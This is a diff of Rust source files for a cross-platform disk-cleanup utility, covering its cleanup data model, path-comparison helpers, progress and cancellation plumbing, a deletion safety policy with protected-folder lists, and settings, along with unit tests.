self.skipped_rules.extend(other.skipped_rules);
}
}
/// What a caller wants to happen to the bytes it approved.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "kebab-case")]
pub enum DeleteMode {
/// Move to the macOS/Windows Trash so the user can undo.
Trash,
/// unlink(2) immediately. Default for caches: they are regenerable and
/// trashing 20 GB of caches just moves the problem.
#[default]
Permanent,
}
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
pub struct CleanSummary {
pub freed: Bytes,
pub freed_allocated: Bytes,
pub removed: usize,
pub failed: usize,
pub errors: Vec<String>,
pub mode: Option<DeleteMode>,
pub session_id: Option<String>,
}
impl CleanSummary {
pub fn record_error(&mut self, msg: impl Into<String>) {
self.failed += 1;
self.errors.push(msg.into());
}
/// Space the run actually gave back, on-disk sense. Same rule as
/// [`CleanupItem::on_disk`]: never `max()` of the two, that is how a
/// 256 GB Mac ended up reporting 1.1 TB reclaimed.
pub fn freed_on_disk(&self) -> Bytes {
if self.freed_allocated.is_zero() {
self.freed
} else {
self.freed_allocated
}
}
}
/// One app discovered on the system (macOS `.app`, Linux `.desktop`, Windows
/// registry entries).
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
pub struct AppInfo {
pub name: String,
pub bundle_id: Option<String>,
pub path: PathBuf,
/// The file or bundle the desktop icon is read from. `path` may be an
/// install directory or an uninstall helper, neither of which carries the
/// icon the user recognises.
pub icon_source: Option<PathBuf>,
pub version: Option<String>,
pub size: Bytes,
/// Where the app was found: /Applications, ~/Applications, Homebrew Cask…
pub source: String,
pub running: bool,
/// Set when the same bundle id is installed more than once; uninstall must
/// then keep shared preference files.
pub has_sibling_install: bool,
pub publisher: Option<String>,
pub installed_ms: Option<u64>,
/// Raw `DisplayIcon` registry value (Windows): a path, optionally with an
/// `,index` suffix — the icon Explorer shows for this app.
#[serde(default)]
pub display_icon: Option<String>,
}
impl AppInfo {
pub fn key(&self) -> String {
self.bundle_id
.clone()
.unwrap_or_else(|| self.path.to_string_lossy().into_owned())
}
}
/// A mounted volume, used by the disk views.
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct Volume {
pub name: String,
pub mount_point: PathBuf,
pub total: Bytes,
pub free: Bytes,
pub is_root: bool,
pub is_removable: bool,
pub filesystem: String,
}
impl Volume {
pub fn used(&self) -> Bytes {
Bytes(self.total.0.saturating_sub(self.free.0))
}
}
/// Leftover files found for an app bundle.
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
pub struct UninstallPlan {
pub app: AppInfo,
pub items: Vec<CleanupItem>,
/// Notes the user should see before approving ("iCloud sync data present").
pub warnings: Vec<String>,
}
impl UninstallPlan {
pub fn total(&self) -> Bytes {
self.items.iter().map(|i| i.on_disk()).sum()
}
pub fn push(&mut self, item: CleanupItem) {
self.items.push(item);
}
}
/// Cancellation hook so the TUI can interrupt long scans.
pub trait Scannable {
fn scan(&mut self, cancel: &CancelToken) -> crate::error::Result<ScanReport>;
}
pub trait PathExt {
fn exists_dir(&self) -> bool;
}
impl<P: AsRef<Path>> PathExt for P {
fn exists_dir(&self) -> bool {
self.as_ref().is_dir()
}
}
#[cfg(test)]
mod tests {
use super::{Category, CleanSummary, CleanupItem, ItemKind, ScanReport};
use crate::bytes::Bytes;
#[test]
fn category_ids_round_trip() {
for cat in Category::ALL {
assert_eq!(Category::parse(cat.id()), Some(cat));
}
}
#[test]
fn category_aliases() {
assert_eq!(Category::parse("app-caches"), Some(Category::AppCaches));
assert_eq!(Category::parse("App_Caches"), Some(Category::AppCaches));
assert_eq!(Category::parse("browsers"), Some(Category::BrowserCaches));
assert_eq!(Category::parse("bogus"), None);
}
fn sparse_item() -> CleanupItem {
let mut item = CleanupItem::new(
"/var/lib/docker/Docker.raw".into(),
ItemKind::File,
Category::SystemJunk,
"Docker image",
);
item.size = Bytes(1_024_000_000_000); // 1.024 TB of thin provisioning
item.allocated = Bytes(12_000_000_000); // 12 GB actually written
item
}
/// The 1.1 TB bug: `max(logical, allocated)` turned a 12 GB Docker image
/// into more free space than a 256 GB disk can hold.
#[test]
fn an_item_is_worth_what_it_occupies_not_what_it_claims() {
let item = sparse_item();
assert_eq!(item.on_disk(), Bytes(12_000_000_000));
assert_eq!(item.shown(true), Bytes(12_000_000_000));
assert_eq!(item.shown(false), item.size);
}
#[test]
fn a_zero_allocation_is_read_the_way_the_platform_means_it() {
let mut item = sparse_item();
item.allocated = Bytes::ZERO;
if cfg!(unix) {
// `du -A` agrees: eight GiB of holes occupy nothing.
assert_eq!(item.on_disk(), Bytes::ZERO);
} else {
assert_eq!(item.on_disk(), item.size, "no st_blocks: fall back");
}
}
#[test]
fn a_summary_reports_the_space_that_came_back() {
let summary = CleanSummary {
freed: Bytes(1 << 40),
freed_allocated: Bytes(12_000_000_000),
..CleanSummary::default()
};
assert_eq!(summary.freed_on_disk(), Bytes(12_000_000_000));
let summary = CleanSummary {
freed: Bytes(4096),
..CleanSummary::default()
};
assert_eq!(summary.freed_on_disk(), Bytes(4096));
}
/// The same 1.1 TB bug one level up: a report that totals `item.size`
/// told the user a scan had found more junk than the disk is large, while
/// the badge beside it — which totals `on_disk()` — said 34 GB.
#[test]
fn a_report_totals_what_the_items_occupy() {
let report = ScanReport {
items: vec![sparse_item(), sparse_item()],
..ScanReport::default()
};
assert_eq!(report.total(), Bytes(24_000_000_000));
assert_eq!(report.total_all(), Bytes(24_000_000_000));
assert!(
report.total().as_u64() < 1 << 35,
"two 12 GB images are not terabytes"
);
}
}

View File

@ -1,332 +0,0 @@
//! Path expansion helpers shared by the rule engine and the UI.
use std::ffi::OsString;
use std::path::{Component, Path, PathBuf};
/// Expand a leading `~` / `$HOME` (also `~\` on Windows) and stop there.
///
/// Rules are authored with `~` because the crate ships a data file, not
/// hard-coded absolute paths, and the same rule file must work for the
/// current user *and* for `sudo` runs.
pub fn expand(input: &str) -> PathBuf {
let home = home_dir();
expand_with(input, &home)
}
pub fn expand_with(input: &str, home: &Path) -> PathBuf {
let input = input.trim();
if input == "~" || input == "$HOME" {
return home.to_path_buf();
}
for prefix in ["~/", "~\\"] {
if let Some(rest) = input.strip_prefix(prefix) {
return home.join(rest.trim_start_matches(['/', '\\']));
}
}
if let Some(rest) = input.strip_prefix("$HOME/") {
return home.join(rest);
}
if let Some(rest) = input.strip_prefix("$HOME") {
return home.join(rest.trim_start_matches(['/', '\\']));
}
PathBuf::from(input)
}
pub fn home_dir() -> PathBuf {
dirs::home_dir().unwrap_or_else(|| PathBuf::from("/"))
}
/// Best-effort `/Volumes/...`-aware display shortening for the UI.
pub fn pretty(path: &Path) -> String {
let home = home_dir();
if same_path(&home, path) {
return "~".to_string();
}
match relative_below(&home, path) {
Some(rel) => {
// Windows renders the tail with `\`, so `~/AppData\Roaming` reads
// like a typo. Follow the separator the platform itself uses.
let sep = if cfg!(windows) { '\\' } else { '/' };
format!("~{sep}{}", rel.display())
}
None => path.display().to_string(),
}
}
/// Strip the `\\?\` / `\??\` verbatim prefix `canonicalize` prepends on
/// Windows so canonical paths can be compared with hand-built ones.
#[cfg(windows)]
fn strip_verbatim(path: &Path) -> PathBuf {
let text = path.to_string_lossy();
if let Some(rest) = text.strip_prefix(r"\\?\UNC\") {
return PathBuf::from(format!(r"\\{rest}"));
}
if text.starts_with(r"\\?\") || text.starts_with(r"\??\") {
return PathBuf::from(text[4..].to_string());
}
path.to_path_buf()
}
#[cfg(not(windows))]
fn strip_verbatim(path: &Path) -> PathBuf {
path.to_path_buf()
}
/// Comparable spelling plus original text for every component of a path.
///
/// Windows path lookup is case-insensitive and `canonicalize` hands back
/// verbatim `\\?\C:\…` paths whose drive letter casing can differ from a
/// hand-built path, so all containment/equality decisions funnel through
/// these lower-cased keys (with the drive root's `RootDir` folded into the
/// `C:` prefix). On Unix the key is the literal component.
fn parts(path: &Path) -> Vec<(String, OsString)> {
normalized(&strip_verbatim(path))
.components()
.filter_map(|c| match c {
Component::RootDir => {
if cfg!(windows) {
None
} else {
Some(("/".to_string(), OsString::from("/")))
}
}
other => {
let text = other.as_os_str().to_string_lossy().into_owned();
Some((text.to_lowercase(), other.as_os_str().to_os_string()))
}
})
.collect()
}
fn keys_match(prefix: &[(String, OsString)], path: &[(String, OsString)]) -> bool {
path.len() >= prefix.len()
&& prefix
.iter()
.zip(path)
.all(|(a, b)| a.0.eq_ignore_ascii_case(&b.0))
}
/// True when `child` is strictly inside `parent`.
///
/// Comparison follows platform semantics: case-insensitive on Windows.
pub fn is_within(parent: &Path, child: &Path) -> bool {
let (p, c) = (parts(parent), parts(child));
c.len() > p.len() && keys_match(&p, &c)
}
/// Path equality under platform semantics: case-insensitive on Windows,
/// verbatim spellings folded, `C:\` equal to `C:`.
pub fn same_path(a: &Path, b: &Path) -> bool {
let (a, b) = (parts(a), parts(b));
a.len() == b.len() && keys_match(&a, &b)
}
/// Filesystem roots: `/`, a drive root like `C:\`, or a UNC share root.
pub fn is_root_like(path: &Path) -> bool {
let p = parts(path);
match p.len() {
0 => true,
1 => {
let key = p[0].0.as_str();
key == "/" || (cfg!(windows) && (key.ends_with(':') || key.starts_with(r"\\")))
}
_ => false,
}
}
/// `~/Library/Caches/com.foo.bar` under anchor `~/Library/Caches` has depth 1.
pub fn depth_below(anchor: &Path, path: &Path) -> Option<usize> {
let (a, c) = (parts(anchor), parts(path));
if keys_match(&a, &c) {
Some(c.len() - a.len())
} else {
None
}
}
/// The remainder of `path` strictly below `anchor`, preserving the path's
/// own casing; `None` when the path is the anchor or outside it.
pub fn relative_below(anchor: &Path, path: &Path) -> Option<PathBuf> {
let (a, c) = (parts(anchor), parts(path));
if c.len() <= a.len() || !keys_match(&a, &c) {
return None;
}
Some(
c[a.len()..]
.iter()
.fold(PathBuf::new(), |mut acc, (_, raw)| {
acc.push(raw);
acc
}),
)
}
/// Component-wise comparison that is stable for display and de-duplication.
pub fn normalized(path: &Path) -> PathBuf {
let mut out = PathBuf::new();
for comp in path.components() {
match comp {
Component::CurDir => {}
Component::ParentDir => {
if !out.pop() {
out.push("..");
}
}
other => out.push(other.as_os_str()),
}
}
out
}
/// A path reduced to one comparable string.
///
/// This is [`same_path`] made cheap enough to index a table with. `same_path` is
/// correct but builds a `Vec` of lowercased components per call, which is fine for
/// a dozen comparisons and quadratic when a scan asks one per cached file: a
/// 15,000-file security scan spent most of ten minutes doing nothing but
/// re-comparing paths.
///
/// The two must agree, because a key that matched where `same_path` would not let
/// a cached verdict be reused for the wrong file. Both fold case unconditionally —
/// the rule [`keys_match`] already applies on every platform — and a test asserts
/// the agreement rather than trusting this wording.
pub fn canonical_key(path: &Path) -> String {
let parts: Vec<String> = parts(path).into_iter().map(|(key, _)| key).collect();
// `parts` keeps the root as its own component so that an absolute path cannot
// collide with a relative one, which would let a cached verdict be reused for
// the wrong file. Joining them verbatim reads as `//a/b`, so the root is put
// back as a prefix instead: same uniqueness, and the cache file on disk stays
// legible to whoever opens it.
match parts.first().map(String::as_str) {
Some("/") => format!("/{}", parts[1..].join("/")),
_ => parts.join("/"),
}
}
/// Name that survives being shown in a one-line row: deepest meaningful label.
pub fn label_for(path: &Path) -> String {
path.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_else(|| path.display().to_string())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn a_canonical_key_agrees_with_same_path() {
let cases: [(&str, &str, bool); 7] = [
("/a/b/c", "/a/b/c", true),
("/a/b/../b/c", "/a/b/c", true),
("/a/./b/c", "/a/b/c", true),
("/a/b/c", "/a/b/d", false),
("/a/b/c", "/a/b", false),
("/a/b/c", "/a/b/c/d", false),
("/A/b", "/a/b", true),
];
for (left, right, same) in cases {
let (a, b) = (Path::new(left), Path::new(right));
assert_eq!(
same_path(a, b),
canonical_key(a) == canonical_key(b),
"same_path and canonical_key disagree about {left} and {right}"
);
assert_eq!(
same,
same_path(a, b),
"unexpected same_path for {left} and {right}"
);
}
}
#[test]
fn every_spelling_of_one_file_gives_one_key() {
// A cache keyed by this must not answer "never seen it" to a file it has
// already judged, or every scan re-reads the disk and the cache is a lie.
for spelling in ["/a/b/c", "/a/b/c/", "/a/./b/c", "/a/b/../b/c"] {
assert_eq!(
canonical_key(Path::new(spelling)),
canonical_key(Path::new("/a/b/c")),
"{spelling} is the same file as /a/b/c"
);
}
}
#[test]
fn a_canonical_key_is_usable_as_a_hash_key() {
// Two spellings of one file must land on one slot, or a cache lookup
// would answer "never seen it" and re-hash the whole disk every scan.
assert_eq!(
canonical_key(Path::new("/Users/Tester/Library/Caches")),
canonical_key(Path::new("/Users/Tester/./Library/Caches"))
);
assert_ne!(
canonical_key(Path::new("/a/b")),
canonical_key(Path::new("/a/b/c"))
);
}
#[test]
fn expands_home() {
let home = Path::new("/Users/tester");
assert_eq!(
expand_with("~/Library/Caches", home),
PathBuf::from("/Users/tester/Library/Caches")
);
assert_eq!(
expand_with("$HOME/Library", home),
PathBuf::from("/Users/tester/Library")
);
assert_eq!(expand_with("~", home), home);
assert_eq!(expand_with("/tmp", home), PathBuf::from("/tmp"));
}
#[test]
fn within_and_depth() {
let anchor = Path::new("/a/b");
assert!(is_within(anchor, Path::new("/a/b/c")));
assert!(!is_within(anchor, Path::new("/a/b")));
assert_eq!(depth_below(anchor, Path::new("/a/b/c/d")), Some(2));
assert_eq!(depth_below(anchor, Path::new("/x/y")), None);
}
#[test]
fn roots_are_detected() {
assert!(is_root_like(Path::new("/")));
assert!(is_root_like(Path::new("")));
assert!(!is_root_like(Path::new("/a")));
assert!(same_path(Path::new("/a/b"), Path::new("/a/b")));
assert!(!same_path(Path::new("/a/b"), Path::new("/a/b/c")));
}
#[cfg(windows)]
#[test]
fn windows_paths_compare_like_the_filesystem() {
assert!(same_path(
Path::new(r"C:\Users\Tester\AppData"),
Path::new(r"c:\users\tester\appdata")
));
// `canonicalize` hands back verbatim spellings with real casing.
assert!(same_path(
Path::new(r"\\?\C:\Users\Tester"),
Path::new(r"c:\users\tester")
));
// Drive root in both spellings is the volume root.
assert!(is_root_like(Path::new(r"C:\")));
assert!(is_root_like(Path::new(r"C:")));
assert!(is_root_like(Path::new(r"\\nas\share")));
assert!(!is_root_like(Path::new(r"C:\Users")));
assert!(is_within(
Path::new(r"C:\Users\Tester\AppData\Local"),
Path::new(r"C:\users\tester\appdata\local\Temp\x")
));
assert_eq!(
relative_below(
Path::new(r"C:\Users\Tester\AppData\Local"),
Path::new(r"C:\users\tester\appdata\local\Temp\x")
),
Some(PathBuf::from(r"Temp\x"))
);
}
}

View File

@ -1,194 +0,0 @@
//! Cooperative cancellation plus a low-noise progress channel.
//!
//! Scans run on worker threads; the CLI prints a spinner while the TUI drains
//! the same channel into its state machine.
use crate::bytes::Bytes;
use crate::model::{Category, ScanReport};
use crossbeam_channel::{unbounded, Receiver, Sender, TryRecvError};
use std::path::PathBuf;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant};
#[derive(Clone, Debug)]
pub enum Event {
/// A named phase started so the UI can say what it is waiting for.
Phase {
phase: &'static str,
detail: String,
},
/// Progress against a known or unknown total.
Tick {
done: u64,
total: Option<u64>,
subject: Option<PathBuf>,
},
/// A finished bucket, streamed as soon as it is known.
Bucket {
category: Category,
total: Bytes,
count: usize,
},
Deleted {
path: PathBuf,
freed: Bytes,
},
Note(String),
Warning(String),
Done(ScanReport),
}
#[derive(Clone)]
pub struct Progress {
tx: Sender<Event>,
rx: Receiver<Event>,
started: Instant,
}
impl Default for Progress {
fn default() -> Self {
Self::new()
}
}
impl Progress {
pub fn new() -> Self {
let (tx, rx) = unbounded();
Self {
tx,
rx,
started: Instant::now(),
}
}
pub fn sender(&self) -> Sender<Event> {
self.tx.clone()
}
pub fn publish(&self, event: Event) {
// Losing a progress event must never fail the operation.
let _ = self.tx.send(event);
}
pub fn phase(&self, phase: &'static str, detail: impl Into<String>) {
self.publish(Event::Phase {
phase,
detail: detail.into(),
});
}
pub fn tick(&self, done: u64, total: Option<u64>, subject: Option<PathBuf>) {
self.publish(Event::Tick {
done,
total,
subject,
});
}
pub fn note(&self, msg: impl Into<String>) {
self.publish(Event::Note(msg.into()));
}
pub fn warning(&self, msg: impl Into<String>) {
self.publish(Event::Warning(msg.into()));
}
pub fn drain(&self) -> Vec<Event> {
let mut out = Vec::new();
loop {
match self.rx.try_recv() {
Ok(ev) => out.push(ev),
Err(TryRecvError::Empty) => break,
Err(TryRecvError::Disconnected) => break,
}
}
out
}
/// Block until an event arrives or the timeout expires.
pub fn recv(&self, timeout: Duration) -> Option<Event> {
self.rx.recv_timeout(timeout).ok()
}
pub fn elapsed(&self) -> Duration {
self.started.elapsed()
}
/// Receiver for a worker thread.
pub fn sink(&self) -> EventSink {
EventSink {
tx: self.tx.clone(),
}
}
}
/// Cheap handle passed into engine worker code.
#[derive(Clone)]
pub struct EventSink {
tx: Sender<Event>,
}
impl EventSink {
pub fn emit(&self, event: Event) {
let _ = self.tx.send(event);
}
pub fn note(&self, msg: impl Into<String>) {
let _ = self.tx.send(Event::Note(msg.into()));
}
pub fn warning(&self, msg: impl Into<String>) {
let _ = self.tx.send(Event::Warning(msg.into()));
}
}
/// Thread-safe cancel flag; cheap to clone into worker threads.
#[derive(Clone, Default)]
pub struct CancelToken(Arc<AtomicBool>);
impl CancelToken {
pub fn new() -> Self {
Self(Arc::new(AtomicBool::new(false)))
}
pub fn cancel(&self) {
self.0.store(true, Ordering::Relaxed);
}
pub fn is_cancelled(&self) -> bool {
self.0.load(Ordering::Relaxed)
}
pub fn check(&self) -> crate::error::Result<()> {
if self.is_cancelled() {
Err(crate::error::SquidError::Cancelled)
} else {
Ok(())
}
}
}
/// Small helper for a spinner in the CLI.
pub struct ElapsedTicker {
pub started: Instant,
}
impl Default for ElapsedTicker {
fn default() -> Self {
Self {
started: Instant::now(),
}
}
}
impl ElapsedTicker {
pub fn label(&self) -> String {
let secs = self.started.elapsed().as_secs_f32();
if secs < 60.0 {
format!("{secs:.1}s")
} else {
format!("{}m {:02}s", secs as u64 / 60, secs as u64 % 60)
}
}
}

View File

@ -1,455 +0,0 @@
//! The last line of defence before anything is unlinked.
//!
//! Rules decide *what* to delete; this module decides whether deleting it
//! could turn into a data-loss incident. Every recursive removal goes through
//! [`SafetyPolicy::check`], including removals requested by the TUI.
use crate::error::{Result, SquidError};
use crate::paths;
use std::path::{Path, PathBuf};
/// Locations that must never be removed, no matter what a rule says.
const HARD_DENY: &[&str] = &[
"/",
"/bin",
"/sbin",
"/usr",
"/etc",
"/System",
"/Library",
"/Applications",
"/Users",
"/home",
"/root",
"/opt",
"/private",
"/private/etc",
"/private/var",
"/private/var/db",
"/private/var/folders",
"/Volumes",
"/tmp",
"/private/tmp",
"/nix",
"/snap",
"/mnt",
"/media",
"/boot",
"/proc",
"/sys",
"/dev",
"/run",
"/Program Files",
"/Program Files (x86)",
"/Windows",
"/System/Volumes",
"/System/Volumes/Data",
"/private/var/root",
];
/// Prefixes that are dangerous to remove *recursively* but fine one level in.
const DENY_EXACT: &[&str] = &[
"~/Library",
"~/Library/Application Support",
"~/Library/Containers",
"~/Library/Group Containers",
"~/Library/Caches",
"~/Library/Preferences",
"~/Library/Saved Application State",
"~/Library/Mobile Documents",
"~/Library/Mail",
"~/Library/Messages",
"~/Library/Photos",
"~/Library/Keychains",
"~/Library/Application Support/MobileSync",
"~/Library/Application Support/CloudDocs",
"~/Library/Application Support/com.apple.icloud*",
"~/Documents",
"~/Desktop",
"~/Downloads",
"~/Pictures",
"~/Music",
"~/Movies",
"~/.ssh",
"~/.gnupg",
"~/.aws",
"~/.config/gcloud",
"~/.docker",
"~/.subversion",
"~/.zsh_history",
"~/.bash_history",
];
/// Windows additions to the exact-deny list. The AppData tree is the
/// Windows equivalent of `~/Library`: deleting the folder itself is how
/// you destroy a profile, deleting one cache inside it is the job.
#[cfg(windows)]
const WINDOWS_DENY_EXACT: &[&str] = &[
"~/AppData",
"~/AppData/Local",
"~/AppData/LocalLow",
"~/AppData/Roaming",
"~/AppData/Local/Packages",
"~/OneDrive",
"~/Links",
"~/Favorites",
"~/Contacts",
"~/Saved Games",
"~/Searches",
];
/// System folders that exist per drive and must never be touched, no
/// matter which drive the rule was anchored on.
#[cfg(windows)]
const WINDOWS_RESERVED_NAMES: &[&str] = &[
"$Recycle.Bin",
"$Extend",
"System Volume Information",
"Recovery",
"PerfLogs",
];
/// Folders outside the current user's home that a normal (non-root) user is
/// still allowed to remove *entries from*.
///
/// `SafetyPolicy::user_only` exists so that a run without administrator rights
/// cannot wander into system space, but read literally it also refuses the one
/// thing every uninstaller must do: move an app out of `/Applications`. An
/// admin-group user can do exactly that in Finder without a password, so the
/// shared application folder is carved out here. Only its *contents* are
/// reachable — `/Applications` itself is on the hard-deny list — and a bundle
/// owned by root is still locked much earlier by `writable_by_us`.
#[cfg(not(windows))]
fn outside_home_ok() -> Vec<PathBuf> {
["/Applications"].iter().map(PathBuf::from).collect()
}
/// Windows equivalent of `/Applications`: the machine-wide program data
/// folders whose *contents* an ordinary user may delete from (they own
/// the ACL), while the roots themselves are on the hard-deny list.
#[cfg(windows)]
fn outside_home_ok() -> Vec<PathBuf> {
let mut out: Vec<PathBuf> = ["ProgramData", "PUBLIC"]
.iter()
.filter_map(std::env::var_os)
.map(PathBuf::from)
.collect();
out.push(PathBuf::from(r"C:\ProgramData"));
out.push(PathBuf::from(r"C:\Users\Public"));
out
}
/// System folders derived from the environment so the deny list follows
/// non-default installs (Windows on D:, relocated Program Files, …).
#[cfg(windows)]
fn windows_hard_deny() -> Vec<PathBuf> {
let mut out: Vec<PathBuf> = [
"SystemRoot",
"windir",
"ProgramFiles",
"ProgramFiles(x86)",
"ProgramData",
"PUBLIC",
"USERPROFILE",
]
.iter()
.filter_map(std::env::var_os)
.map(PathBuf::from)
.collect();
out.extend(
[
r"C:\Windows",
r"C:\Program Files",
r"C:\Program Files (x86)",
r"C:\Users",
r"C:\ProgramData",
r"C:\Users\Public",
]
.iter()
.map(PathBuf::from),
);
out
}
#[derive(Clone, Debug)]
pub struct SafetyPolicy {
deny_exact: Vec<PathBuf>,
hard_deny: Vec<PathBuf>,
/// Minimum path components below an allowed anchor for a recursive delete.
pub min_depth: usize,
/// Volumes (mount points) that must never be walked.
pub forbidden_mounts: Vec<PathBuf>,
/// When false, refuse anything outside the current user's home.
pub allow_system_paths: bool,
/// Never descend into a symlink (default, and the right answer).
pub follow_symlinks: bool,
/// Roots whose contents a non-admin run may still reach — on Unix
/// `/Applications`, on Windows `%ProgramData%` and `%PUBLIC%`.
pub outside_home_ok: Vec<PathBuf>,
}
impl Default for SafetyPolicy {
fn default() -> Self {
// mut is only exercised on Windows; keep both targets warning-free.
#[cfg_attr(not(windows), allow(unused_mut))]
let mut deny_exact: Vec<PathBuf> = DENY_EXACT.iter().map(|p| paths::expand(p)).collect();
#[cfg_attr(not(windows), allow(unused_mut))]
let mut hard_deny: Vec<PathBuf> = HARD_DENY.iter().map(PathBuf::from).collect();
#[cfg(windows)]
{
deny_exact.extend(WINDOWS_DENY_EXACT.iter().map(|p| paths::expand(p)));
hard_deny.extend(windows_hard_deny());
}
Self {
deny_exact,
hard_deny,
min_depth: 1,
forbidden_mounts: Vec::new(),
allow_system_paths: true,
follow_symlinks: false,
outside_home_ok: outside_home_ok(),
}
}
}
impl SafetyPolicy {
pub fn system() -> Self {
// Running as root: `/private/var/folders` and `/Library/Caches` become
// reachable, but the deny list keeps its teeth.
Self {
allow_system_paths: true,
..Self::default()
}
}
pub fn user_only() -> Self {
Self {
allow_system_paths: false,
..Self::default()
}
}
pub fn with_mounts(mut self, mounts: Vec<PathBuf>) -> Self {
self.forbidden_mounts = mounts;
self
}
fn is_exact_denied(&self, path: &Path) -> bool {
self.deny_exact.iter().any(|deny| {
// Trailing glob star entries deny the directory itself only.
let d = deny
.to_string_lossy()
.trim_end_matches('*')
.trim_end_matches(['/', '\\'])
.to_string();
paths::same_path(path, Path::new(&d))
})
}
fn is_hard_denied(&self, path: &Path) -> bool {
if paths::is_root_like(path) {
return true;
}
self.hard_deny
.iter()
.any(|deny| paths::same_path(path, deny))
}
/// Validate a removal target. `anchors` are the roots the rule claims to
/// own; the target must live strictly below one of them.
pub fn check(&self, path: &Path, anchors: &[PathBuf]) -> Result<()> {
#[cfg(windows)]
{
let norm = paths::normalized(path);
for comp in norm.components() {
if let std::path::Component::Normal(name) = comp {
if WINDOWS_RESERVED_NAMES
.iter()
.any(|r| name.to_string_lossy().eq_ignore_ascii_case(r))
{
return Err(SquidError::safety(path, "Windows system folder"));
}
}
}
}
if self.is_hard_denied(path) {
return Err(SquidError::safety(path, "protected system location"));
}
if self.is_exact_denied(path) {
return Err(SquidError::safety(path, "protected user data folder"));
}
for mount in &self.forbidden_mounts {
if paths::same_path(path, mount) {
return Err(SquidError::safety(path, "volume root"));
}
}
let norm = paths::normalized(path);
if let Some(anchor) = anchors.iter().find(|a| paths::is_within(a, &norm)) {
let depth = paths::depth_below(anchor, &norm).unwrap_or(0);
if depth < self.min_depth {
return Err(SquidError::safety(
path,
format!(
"only {depth} level(s) below protected anchor {}",
anchor.display()
),
));
}
} else {
return Err(SquidError::safety(
path,
"outside every declared cleanup anchor",
));
}
if !self.allow_system_paths
&& !paths::is_within(&paths::home_dir(), &norm)
&& !self
.outside_home_ok
.iter()
.any(|allowed| paths::is_within(allowed, &norm))
{
return Err(SquidError::safety(
path,
format!(
"outside the current user's home ({} to clean system paths)",
crate::elevation_hint()
),
));
}
if !self.follow_symlinks {
if std::fs::symlink_metadata(path)
.map(|m| m.file_type().is_symlink())
.unwrap_or(false)
{
return Err(SquidError::safety(path, "target is a symbolic link"));
}
if let Some(parent) = norm.parent() {
let canonical = std::fs::canonicalize(parent).ok();
if let Some(canonical) = canonical {
let expected = paths::normalized(parent);
if !paths::same_path(&canonical, &expected) {
return Err(SquidError::safety(
path,
format!(
"parent resolves through a symlink to {}",
canonical.display()
),
));
}
}
}
}
Ok(())
}
/// Convenience wrapper that reports violations instead of returning them.
pub fn denies(&self, path: &Path, anchors: &[PathBuf]) -> Option<String> {
self.check(path, anchors).err().map(|e| match e {
SquidError::Safety { reason, .. } => reason,
other => other.to_string(),
})
}
}
#[cfg(test)]
mod tests {
use super::*;
fn policy() -> SafetyPolicy {
SafetyPolicy {
allow_system_paths: true,
..SafetyPolicy::default()
}
}
#[test]
fn refuses_roots_and_protected_folders() {
let p = policy();
let anchors = vec![PathBuf::from("/")];
assert!(p.check(Path::new("/"), &anchors).is_err());
assert!(p
.check(Path::new("/System/Volumes/Data"), &anchors)
.is_err());
assert!(p.check(Path::new("/Users"), &anchors).is_err());
}
#[test]
fn allows_deep_cache_paths() {
let p = policy();
let anchors = vec![PathBuf::from("/Users/tester/Library/Caches")];
assert!(p
.check(
&PathBuf::from("/Users/tester/Library/Caches/com.example.app"),
&anchors
)
.is_ok());
}
#[test]
fn refuses_anchor_itself() {
let p = policy();
let anchors = vec![PathBuf::from("/Users/tester/Library/Caches")];
assert!(p
.check(&PathBuf::from("/Users/tester/Library/Caches"), &anchors)
.is_err());
}
#[test]
fn a_plain_user_can_still_uninstall_into_applications() {
// The bug: as a normal user the home-only rule refused every bundle,
// so `squid uninstall` approved the app and then deleted only its
// leftovers.
//
// The shared install folder is `/Applications` on Unix and the
// machine-wide program-data folders on Windows, so the fixture is read
// back from the policy instead of being hardcoded to one OS's spelling
// — a literal `/Applications` on Windows is not even an absolute path,
// and the test would have been asserting that Windows refuses an app
// folder it never actually looked at.
let policy = SafetyPolicy::user_only();
let shared = policy
.outside_home_ok
.first()
.cloned()
.expect("every platform names a shared install folder");
let app = if cfg!(windows) {
shared.join("Demo")
} else {
shared.join("Demo.app")
};
let anchors = vec![shared.clone()];
assert!(
policy.check(&app, &anchors).is_ok(),
"{app:?} has to be removable without elevation"
);
assert!(
policy.denies(&shared, &anchors).is_some(),
"the folder itself stays untouchable"
);
assert!(policy.denies(Path::new(system_file()), &anchors).is_some());
}
/// A file no run of squid may ever delete, on any platform.
#[cfg(not(windows))]
fn system_file() -> &'static str {
"/System/Applications/Notes.app"
}
#[cfg(windows)]
fn system_file() -> &'static str {
r"C:\Windows\System32\drivers\ndis.sys"
}
#[test]
fn refuses_paths_outside_anchors() {
let p = policy();
let anchors = vec![PathBuf::from("/Users/tester/Library/Caches")];
assert!(p
.check(&PathBuf::from("/Users/tester/Documents/x"), &anchors)
.is_err());
}
}

View File

@ -1,648 +0,0 @@
//! Persistent user settings: whitelist, purge roots, delete semantics.
use crate::bytes::Bytes;
use crate::error::{Result, SquidError};
use crate::model::DeleteMode;
use crate::paths;
use globset::{Glob, GlobMatcher};
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
#[derive(Clone, Debug, Serialize, Deserialize)]
#[serde(default)]
pub struct Settings {
/// Trash or Permanent. CleanMyMac-like safety default is Trash for user
/// data and Permanent for regenerable caches; the CLI flag overrides both.
pub delete_mode: DeleteMode,
/// Glob patterns matched against absolute paths. Matched paths are never
/// selected, even if a rule finds them.
pub whitelist: Vec<String>,
/// Rules the user switched off entirely (`squid clean --disable caches-browser`).
pub disabled_rules: Vec<String>,
/// Where `squid purge` looks for projects. `~` is expanded.
pub purge_roots: Vec<String>,
/// Skip project artifacts that were touched within this many days: an
/// active build is not junk yet.
pub purge_min_age_days: u64,
/// Cap the file count per project-artifact probe so a huge monorepo does
/// not stall the scan.
pub purge_max_entries: u32,
/// Show allocated (on-disk) size instead of logical size.
pub show_allocated: bool,
/// `en` or `zh`. Falls back to $LANG when unset.
pub language: Option<String>,
/// Number of history sessions to keep.
pub history_keep: usize,
/// Whether the desktop app's first-run permission card has been dismissed.
/// Older configs have no such field and therefore see the card once.
